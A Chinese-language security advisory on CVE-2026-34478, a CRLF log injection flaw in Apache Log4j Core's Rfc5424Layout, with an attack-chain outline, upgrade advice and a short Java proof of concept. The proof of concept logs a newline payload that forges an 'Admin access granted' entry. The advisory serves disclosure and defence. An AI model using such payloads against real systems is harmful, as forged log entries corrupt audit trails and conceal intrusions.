IPBUF安全漏洞报告
English
CVE-2026-34478 CVSS 7.5 高危

CVE-2026-34478 Apache Log4j Core 日志注入漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-34478
漏洞类型
日志注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache Log4j Core

相关标签

日志注入CRLF注入Apache Log4jCVE-2026-34478高危漏洞

漏洞概述

Apache Log4j Core组件中的Rfc5424Layout在版本2.21.0至2.25.3中存在安全漏洞。由于未记录的安全相关配置属性重命名,导致该组件易受CRLF序列的日志注入攻击。具体而言,`newLineEscape`和`useTlsMessageFormat`属性被静默重命名,导致换行符转义失效,使得使用TCP或TLS框架的基于流的syslog服务面临日志输出被注入的风险。该漏洞可能被攻击者利用来伪造日志条目或执行其他注入攻击。建议用户尽快升级到Apache Log4j Core 2.25.4版本以修复此问题。

技术细节

该漏洞的根源在于Apache Log4j Core 2.21.0至2.25.3版本中,Rfc5424Layout类对关键安全配置属性进行了未文档化的重命名。具体涉及两个属性:`newLineEscape`和`useTlsMessageFormat`。首先,对于使用TCP框架(RFC 6587)的用户,`newLineEscape`属性原本用于处理换行符转义。由于该属性被重命名,原有的配置失效,导致日志中的换行符不再被转义。攻击者可以在输入数据中注入CRLF(回车换行)字符,从而在syslog日志流中伪造额外的日志条目。其次,对于使用TLS框架(RFC 5425)的用户,`useTlsMessageFormat`属性被静默重命名。这导致系统错误地将TLS传输降级为未分帧的TCP(RFC 6587)传输,且未启用换行符转义。这种降级使得原本受TLS保护的日志流同样暴露在CRLF注入风险之下。攻击者无需认证即可利用此漏洞(AV:N/AC:L/PR:N/UI:N),通过向记录日志的应用程序发送包含恶意CRLF序列的数据,即可操纵日志输出。虽然这不会直接影响服务器的机密性或可用性,但会严重破坏日志的完整性(I:H),可能导致日志审计失效或掩盖攻击痕迹。SyslogAppender用户不受影响。

攻击链分析

STEP 1
信息收集
攻击者确认目标系统使用了Apache Log4j Core 2.21.0至2.25.3版本,并且配置了Rfc5424Layout进行Syslog日志输出。
STEP 2
构造载荷
攻击者构造包含CRLF(\r\n)控制字符的恶意数据,旨在在日志流中插入伪造的日志条目或破坏现有的日志结构。
STEP 3
发送请求
攻击者通过网络向目标应用程序发送包含恶意载荷的请求,应用程序会将该数据记录到日志中。
STEP 4
漏洞利用
由于受影响版本的Log4j未正确处理换行符转义(属性重命名导致),恶意CRLF字符被直接写入日志流。
STEP 5
达成效果
日志接收方解析日志流时,将CRLF视为新条目的分隔符,导致日志完整性受损,攻击者成功注入伪造日志。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.core.config.Configurator; import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilder; import org.apache.logging.log4j.core.config.builder.api.ConfigurationBuilderFactory; import org.apache.logging.log4j.core.config.builder.impl.BuiltConfiguration; public class Cve202634478PoC { // Setup vulnerable configuration using Rfc5424Layout // Note: In affected versions (2.21.0 - 2.25.3), 'newLineEscape' might be ignored // if the attribute name changed internally, leading to CRLF injection. public static void main(String[] args) { ConfigurationBuilder<BuiltConfiguration> builder = ConfigurationBuilderFactory.newConfigurationBuilder(); builder.setStatusLevel(org.apache.logging.log4j.Level.ERROR); // Configure a console appender with Rfc5424Layout builder.add(builder.newAppender("Syslog", "Syslog") .addAttribute("protocol", "TCP") .add(builder.newLayout("Rfc5424Layout") // Attempting to set newLineEscape (may fail silently due to rename) .addAttribute("newLineEscape", "true") ) ); builder.add(builder.newRootLogger(org.apache.logging.log4j.Level.INFO) .add(builder.newAppenderRef("Syslog"))); Configurator.initialize(builder.build()); Logger logger = LogManager.getLogger(Cve202634478PoC.class); // Malicious payload containing CRLF sequence String maliciousPayload = "User login failed\n\nMalicious Injected Log Entry: Admin access granted\n"; // Log the payload logger.info(maliciousPayload); System.out.println("If vulnerable, the log output will show the injected line as a new log entry."); } }

影响范围

Apache Log4j Core 2.21.0 - 2.25.3

防御指南

临时缓解措施
建议用户立即将Apache Log4j Core升级至2.25.4或更高版本。如果暂时无法升级,应评估是否可以暂时停用基于流的Syslog服务,或者改用SyslogAppender(描述中提到未受影响)。同时,应加强对日志系统的监控,检查是否存在异常的日志条目格式,以检测可能的注入尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表